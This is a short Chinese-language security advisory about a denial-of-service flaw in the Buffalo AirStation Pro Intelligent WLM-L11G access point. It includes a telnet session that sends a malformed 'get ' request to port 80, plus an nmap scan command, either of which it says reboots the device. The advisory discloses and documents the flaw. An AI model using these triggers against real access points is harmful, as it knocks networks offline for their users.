涉及程序： Buffalo AirStation Pro Intelligent 描述： 无线设备 Buffalo AirStation Pro Intelligent 80端口DoS缺陷 详细： Buffalo AirStation Pro Intelligent Access Point 是一款无线访问接入设备。 Buffalo AP 对攻击者精心构建的畸形HTTP GET请求缺乏正确过滤，远程攻击者可以利用此缺陷进行拒绝服务攻击。 使用 Nmap 对 Buffalo AP 进行扫描，或者手工连接 AP 80 端口后提交畸形GET请求，如在GET后加空格的请求，可导致 Buffalo AP 重启，停止对正常通信的响应。 受影响系统： Buffalo Technology AirStation Pro Intelligent Access Point WLM-L11G 攻击方法： andrei@192.168.177.7:~$ telnet 192.168.177.250 80 Trying 192.168.177.250... Connected to 192.168.177.250 (192.168.177.250). Escape character is \`^>\`. get 注意：get后有空格。 或者使用Nmap进行如下扫描: $ nmap -sVVV -p 80 192.168.177.250 解决方案： 目前厂商还没有提供补丁或者升级程序，建议用户随时关注厂商站点 ： http://www.buffalotech.com